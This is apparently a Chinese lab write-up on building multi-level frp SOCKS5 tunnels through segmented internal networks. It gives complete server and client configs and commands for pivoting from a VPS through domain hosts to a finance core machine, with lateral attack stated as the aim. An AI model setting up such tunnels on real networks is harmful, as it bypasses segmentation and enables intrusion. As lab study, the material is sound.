前言
最近在跟大余师傅学习有关内网的知识,了解了frp隧道的搭建与利用,这里准备复现一下隧道的搭建过程与利用方式
Frp链接:https://github.com/fatedier/frp/releases/tag/v0.34.3
注:Frp是一个搭建隧道的专用脚本,存在客户端与服务端,在进行内网穿透时能起到一个很好效果,这里我将使用frp对内网穿透进行复现
拓补图:注:(IP地址不太一样需自行比对)
复现过程
1、一级网络环境
服务端
\/PS:[common]
bind_addr = 0.0.0.0 #本地IP
bind_port = 7788 #开放与客户端连接的端口
frps.exe -c frps.ini
客户端
域普通用户:# frpc.ini
[common]
server_addr = 192.168.253.11 #\/PS
server_port = 7788 #与\/PS服务器开放端口一致
[http_proxy]
type = tcp #类型
remote_port = 7777 #通过socks5连接到\/PS服务器端口进行数据传输
plugin = socks5
frpc.exe -c frpc.ini
验证成功:
2、二级网络环境
环境:
A:/PS服务器:192.168.174.147 (Win7系统模拟)
B:子域普通用户:192.168.174.141和10.10.3.100
C:子域控制器:10.10.3.10和10.10.21.0/24
注:内网C主机不能直接连接/ps,可以连接内网B主机,B主机可以直接连接/ps,所以通过B作为跳板,将socks代理建设在内网C主机中后!
(1)首先在/PS服务器上开启端口
服务端
\/PS:[common]
bind_addr = 0.0.0.0
bind_port = 7788 #开放与客户端连接的端口
frps.exe -c frps.ini
(2)在子域用户与子域之间构造一级隧道
在子域普通用户开启端口
子域用户服务端
Frps.ini设置:[common]
bind_addr = 10.10.3.100 #子域用户本地IP
bind_port = 7799 #开放与客户端(子域)连接的端口
frps.exe -c frps.ini
子域客户端
# frpc.ini
[common]
server_addr = 10.10.3.100 #服务器的IP地址
server_port = 7799 #连接到子域服务器开放的端口,且与子域服务器端口一致
[http_proxy]
type = tcp #协议类型
remote_port = 1080 #通过socks5连接到子域用户服务器端口进行数据传输
plugin = socks5
frpc.exe -c frpc.ini
子域用户客户端
# frpc.ini
[common]
server_addr = 192.168.174.147 #\/PS服务器
server_port = 7788 #与\/PS服务器爆出端口一致
[http_proxy]
type = tcp
local_ip = 10.10.3.100 #访问的ip可以是内网任何一个ip
local_port = 1080 #本地端口(根据协议修改)
remote_port = 1080 #\/PS远程服务器的ip端口
frpc.exe -c frpc.ini
验证成功:
3、三级网络环境
A:/PS服务器:192.168.174.147
B:子域普通用户:192.168.174.150和10.10.3.100
C:子域控制器:10.10.3.10和10.10.21.5
D:财务部独立子域:10.10.21.2和172.16.5.2
E:财务部核心区机器:172.16.5.5
注:内网E核心区主机不能直接连接/ps,可以连接内网D主机,内网D主机不能直接连接/ps,可以连接内网C主机,内网C主机不能直接连接/ps,可以连接内网B主机,B主机可以直接连接/ps,所以通过B作为跳板,将socks代理建设在内网C主机中后,将打通隧道进行横向攻击核心区机器!开始!!
(1)首先在/PS服务器上开启端口
/PS服务器
服务端
\/PS:[common]
bind_addr = 0.0.0.0
bind_port = 7788 #开放与客户端连接的端口
frps.exe -c frps.ini
(2)子域控制器与财务部独立子域建立一级隧道
子域控制器
服务端
[common]
bind_addr = 10.10.21.5 #本地IP地址
bind_port = 7799 #开放与客户端(财务部核心系统)连接的端口
frps.exe -c frps.ini
(3)财务部独立子域
客户端
[common]
server_addr = 10.10.21.5 #子域控制器服务器的IP地址
server_port = 7799 #连接到子域服务器开放的端
[http_proxy]
type = tcp
remote_port = 7766#通过socks5连接到子域控制器端口进行数据传输
plugin = socks5
frpc.exe -c frpc.ini
(4)子域普通用户与子域控制器搭建二级隧道
子域普通用户
服务端
# frpc.ini
[common]
bind_addr = 10.10.3.100
bind_port = 7755 #开放与子域控制器连接的端口
子域控制器
# frpc.ini
[common]
server_addr = 10.10.3.100 #子域普通用户IP
server_port = 7755 #与子域普通用户开放端口相同
[http_proxy]
type = tcp
local_ip = 10.10.21.5 #本地IP 访问的ip可以是内网任何一个ip
local_port = 7766 #本地端口(根据协议修改)
remote_port = 7766 #子域普通用户的7766端口
(5)子域普通用户与/PS服务器构建三级隧道
# frpc.ini
[common]
server_addr = 192.168.174.147 #\/PS服务器IP
server_port = 7788 #与\/PS服务器开放端口一样
[http_proxy]
type = tcp
local_ip = 10.10.3.100 #
local_port = 7766 #本地端口(根据协议修改)
remote_port = 7766 #\/PS服务器端口
frpc.exe -c frpc.ini
验证:可以进行远程登录
来源:freebuf.com 2021-06-17 00:48:47 by: WAFmax
请登录后发表评论
注册